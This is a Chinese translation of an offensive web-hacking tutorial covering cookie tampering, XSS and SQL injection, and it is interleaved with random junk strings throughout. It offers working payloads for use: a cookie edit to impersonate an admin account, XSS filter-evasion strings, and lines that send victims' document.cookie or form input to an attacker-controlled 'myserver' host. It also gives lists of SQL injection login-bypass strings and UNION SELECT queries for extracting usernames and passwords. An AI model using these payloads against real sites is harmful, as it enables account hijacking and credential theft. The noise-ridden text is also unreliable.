XSS & SQL注入

admin

XSS & SQL注入
: Y% I0 u2 N+ w" l  a( u& b文章作者：CyberPhreak
) ?& y& d  M: y) e, a1 ~+ _译文作者：黯魂 [S.S.T]
+ I' r" ~6 D2 i* k5 q1 {4 ~: s

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
6 F+ R/ R- b. ]9 u; l8 S3 e5 vX Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX


* v7 F8 P3 f" I: a# G5 ~5 u6 r~介绍
2 W' j3 y6 ^! ?. m  ~4 ]
在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.

XXXXXXXXXXXXXXXXXXXXX
$ U# N0 @" o( H3 kX Table OF Contents X
( z) `) p& o, ^9 E! F# L9 q# ^XXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXX
/ G; L# V2 I! i- [( h( O, E  F$ RX Cookie Editing X
X XSS X
X SQL Injection X
XXXXXXXXXXXXXXXXXXXX

$ J) Q% X" I7 }  P! u' ?~什么是cookie

cookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.
+ ~& L$ L/ I) e+ q( E2 `( h
2 e4 {+ {( i2 C3 I" ^+ ^6 w  O~警告&欺骗

那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:

* u. u- ~8 G  k6 `strusername=cnsst;strpassword=cnsst
/ [: i( v& m) J, V
此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...

2 O; _- c9 @- o6 w~什么是XSS

! z3 [9 v2 r! |XSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.

" [* n* I) t/ [$ W3 U: m- I6 B~为什么使用XSS
: E' w- y4 {1 E& S# D% O
7 C2 b5 S8 R* ~" q* Z. {" W! Y5 E很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
- ?5 O, c; I) G& G( J/ c你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.

~让我们开始吧…
0 w, r* x4 E) \/ [' [
7 {2 B# J  s8 h4 j4 V我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.

+ \4 j; B, P+ R* p* PXSS--跨站脚本&lt;html&gt;
; W  r' P4 p( s/ u
% @1 f- s6 j" J* u( R&lt;body&gt;

2 Z: Z0 `. ^$ f  E( \: D/ Z+ n& {&lt;form action="" method="GET"&gt;
3 t  O2 `% Y7 {+ X4 [% ?% Q6 h
&lt;!-- 我使用的GET方法,因为当我们利用的时候更容易练习. --&gt;
( K6 x# H. o! R1 v6 r( h4 Y5 q
Script: &lt;input name="name" type="name"&gt;
2 Z8 O# E- U0 L8 i/ M3 X
) _$ w, x9 t5 z) ~* b  @" c&lt;input type="submit" value="submit"&gt;
( @/ m5 E7 W/ V* J6 e9 e
&lt;/form&gt;
2 i: {9 q2 e. y4 l3 f
+ d0 Z7 Q- s$ z+ q: J: q&lt;/body&gt;
) c" g4 D% w* i: Y# k
1 p! W( Y6 g. V2 Y3 o9 C$ G&lt;/html&gt;
5 a* a. s9 N8 l( @

9 }7 T, ~: z1 e* M; o
/ g8 u: ^& p* u, q&lt;?php
+ [: k( S( Z# k4 F% x
- C& U" z6 c; y+ [  D6 z8 Q. n& Z$name = $_GET['name'];

echo("Hello $name");

?&gt;
复制代码OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:
: S$ z0 g( G+ G: ]; F! e
9 \3 c& M1 f# U# ]. r1 P! R* vcnsst
"Hello cnsst!"

引号内的信息就是输出信息..注意看,现在我输入:
: U, v  M9 i/ M<script>alert(document.cookie)</script>
; \# s$ H+ Y/ M2 F/ W2 F2 x6 D! a: t
& E6 {* P- {# m% X( R那么它将会弹出document.cookie!所以它是易受XSS攻击的!

3 q' i8 W0 A) r' J  L# f现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...

3 z+ [) A% l" W: Y! M  s服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...
3 s; n" q& I. y# Z( w
已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.

# F4 l) d. E2 k让我们看一个稍微复杂点的例子!
7 x+ H3 \4 V+ K1 n& U8 P
  H0 r& k- x( Y+ E8 J+ M& Q- {. V) }假设你已经输入了<script>alert(document.cookie)</script>,并且回显是这样的:
: ~# {7 ~5 O9 ~7 }6 E) V6 C& wscriptalert(document.cookie)/script
或者可能是这样的:
scriptalertdocument.cookie/script
& P' N% o, ]- ~% h
& ~# B1 z" T3 y' e+ d. \; `. M3 a可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的"<>"都被空字符" "替换了.
7 ]8 }9 D7 @: t$ M8 j  |: [
让我们继续利用:
<<script>>alert(document.cookie)<</script>>
, S# ?' ~3 r1 o7 A$ c) k4 |# P
你的输出将弹出document.cookie.

" k9 h# @) `$ @* F# m" [现在来看看更狠的:
<<script>>alert((document.cookie))<<//script>>
1 O* W) r& [' X: @$ g. [! `$ W

2 l9 u& N; A+ N* {5 O: w% x他们可能会替换所有的,或者只是"<>".所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
4 t( c+ ^* d' dscriptalertdocument.cookie/script
或者 <<<script>>>alert(document.cookie)<<</script>>>  
+ B& B, D1 J8 T6 h/ a
他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
9 ^# d: @5 Z1 s% m, ^4 U! i+ n<script>alert(document.cookie)</script>

输出像这样:srplert(document.cookie)srp
$ `0 L$ b: Q; }$ x
6 @! V) `4 ^' D% @仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了"<>"以及script部分.怎么绕过?看看这个:
<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>
; x) x1 ?$ n) I9 g  a0 }! i4 |
所有重复多余的部分刚好被替换!现在让我们来点更高级的!

这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
<script>alert(document.cookie)</script>
) Z9 x" U1 N: r9 y
6 H) u, k7 o0 y/ s3 ]  c- d输出将是:
scriptalert(document.cookie)script
8 A; Q4 A$ l3 i% |
看到这,你激动地说,"我知道该怎么做了!" OK,让我们按照你的方法来重新构造:
<<script>>alert(document.cookie)<</script>>

输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的<>.可是,他们替换了任何"<>",无论你输入多少个...看到我说"任何"了吗?使用下面这个例子:
6 u3 c/ L/ L& {
<
script
>
9 G8 B" C" i# e4 W! e7 Halert
" b1 d3 L5 A  j( R; \/ F(
document
.
cookie
- r4 O8 y- l" H& Z)
<
/
3 M5 Y; n9 P/ g& N1 ]' bscript
0 U8 ^& z; c6 q& w) [>
+ r& _/ z; a1 f, {, t2 O
: y& O9 j/ ]" n* o( ~4 N) p6 v
看看它,它没有替换"<>",它替换代码关键字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是"alert"! 我们又该怎么改进呢?看看这个:
<
- K" L6 s' i0 vs
  B% }# p) q9 }3 a  g- mc
r
i
p
t
>
a
l
e
r
& P8 J+ {7 Y) s& ]4 Dt
1 O! e: ^4 R+ F6 `$ s- X, s6 y(
d
o
c
u
m
e
n
; D5 f3 k1 z; d; Pt
; `( o& Q: M, o9 C% X.
7 O+ A% K$ x2 Y9 @c
o
; w; h! R. Z8 Q3 x8 Mo
k
- l5 T, J3 z/ y' ]i
e
( L2 Y7 E" R8 f$ b; h) q/ z)
: B# y( g# T  ~3 E/ l1 G+ h<
/
s
c
; o3 j4 x. l8 E6 U. f6 o4 d3 o! Yr
i
  T- q# R: K2 S% g5 ]! q. cp
t
/
# K* `. z- x  ^5 j" D& r>

这下应该可以了,但是如果他们仍然替换"<",你可以增加2对"<< >>"(并且你可以用任何字符取代document.cookie)

6 g) W; E' q6 Y还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.
/ q4 m" i0 h2 Z( y( J
- A8 ^4 a' p$ M$ R  U4 j0 |( q现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.
& X$ z, G- w- S" K3 Z6 `
5 r+ I1 l/ W, j/ @首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.
0 d7 D3 y0 O) c
3 V6 T: s, l$ ?! ~; t  J0 s6 P我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
document.forms(0).action ="http://myserver/myscript.php
* c# z) J7 ^, D. o这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.

% Q! p. o8 ]3 H1 I' Z1 V' ?再次假设你在网站上注册了一个帐号,并且可以自定义资料...
document.images(0).src="http://myserver/cookie.php"+document.cookie.
: m" ~' S$ x, t或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
javascript:location.href="http://myserver/cookie.php"+document.cookie
这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.

1 P& _) c. \6 O. b5 e9 |$ R; p有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
telnet example.com
6 ], }. ~! f8 |6 gGET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
User-Agent: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
Referer: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
8 u% G$ r$ I- ^. c3 K~什么是SQL注入
' t/ g! f8 j4 B. ?/ E9 v  \
SQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:&lt;html&gt;

&lt;body&gt;

&lt;form action="" method="POST"&gt;
4 o. w. i  w  N' i- ?( E
( Q& w% r6 s5 a7 U5 U2 q- rUsername: &lt;input name="name" type="name"&gt;
/ V- ^5 n# ~2 B" N
Password: &lt;input name="password" type="password"&gt;

+ y6 t; f+ E8 N&lt;input type="submit" type="submit" value="Submit"&gt;
( q- E8 k/ A  e6 g" T
7 }% U2 {- {  d6 u) @' p; F5 w&lt;/form&gt;

: x7 c( R) I7 V. c7 d* }: ?% C&lt;/body&gt;

&lt;/html&gt;
" I- ~9 k) x& @6 S复制代码这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!
& ?; t; t7 g; ?; t. u
7 Z5 x6 }2 `. F4 H& F! p% u最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.

'='
'OR 1=1--
. \  G5 g# c  u5 ~3 g& F1 ~* L'OR a=a--
'OR'
# _: X- N& `2 L# f0 C- g% u! d: f
1 C% d* `. V9 A2 H自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:

'OR''='
'OR"="
'OR'="
4 S8 B& F3 \" s) p'OR '="
'OR "='
# V8 ~/ K; A9 F3 l8 U'OR ''='
'OR '=''
'OR "=''
6 O! z" a& q, y% Q1 @; ]'OR ''="
+ Z( ~* f8 |' ^6 r

~
现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
* K6 y  J- E2 ^UNION ALL SELECT username,password FROM users
& ]& _  q$ i( H2 K$ C
4 j( \( B7 S! O1 o这个查询语句将执行,但是….如果毫无作用呢?
) r# Z; ]. }, iUNION ALL SELECT username,password FROM users WHERE username='OR "='
AND password='OR "='
. d. ^2 w9 y# f, x
你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.
" p* @: q# t- P5 D# V. C6 b
. ?- h( I0 e/ I2 w( i! B3 {) I! ~一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
UNION ALL SELECT
+ Z* S9 l; A: ]ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
1 C. o6 i8 e4 D4 p/ ^3 u/ rWHERE ip='OR''="

* X* q" j2 S7 n  g" M/ ?* y0 x0 y现在你看到这个了吗?(我确信你已经看到了)
8 p) q3 x0 F7 o/ f; L5 X( H) Whttp://example.com/index.php?article=34
& ^) Z# R9 {- J2 l/ S8 o3 I6 Y那将浏览Id为34的文章...让我们用"'"替换34:
! }* m9 ]5 T9 |/ [  nhttp://example.com/index.php?article='
+ Q2 F) k; a6 a) t: y; o

2 G5 y- W4 M7 Y, X/ g现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
: k9 C% B; S# u1 r6 V: @http://example.com/index.php?article='
# P+ H7 I( V8 `( Zhttp://example.com/index.php?article='='
% r9 G$ K$ s4 r6 G$ [, n% ?http://example.com/index.php?article='OR 1=1--
9 }1 b/ K/ U. J$ g  whttp://example.com/index.php?article='OR a=a--
http://example.com/index.php?article='OR '="
% r( t7 M% h. M4 Ohttp://example.com/index.php?article='OR "='
) h8 R, W0 W- ^0 ~1 chttp://example.com/index.php?article='OR ''='
http://example.com/index.php?article='OR '=''
% e( Z* ?! ]/ m* \0 `http://example.com/index.php?article='OR''='
http://example.com/index.php?article='OR"'='
9 H/ }1 ]9 \: [/ n2 rhttp://example.com/index.php?article='OR"''='
- ?0 F/ O6 A0 g5 ]! y% E- P; }
尽情发挥自己的创造力!
http://www.ie.tsinghua.edu.cn/notice/show.php?id=704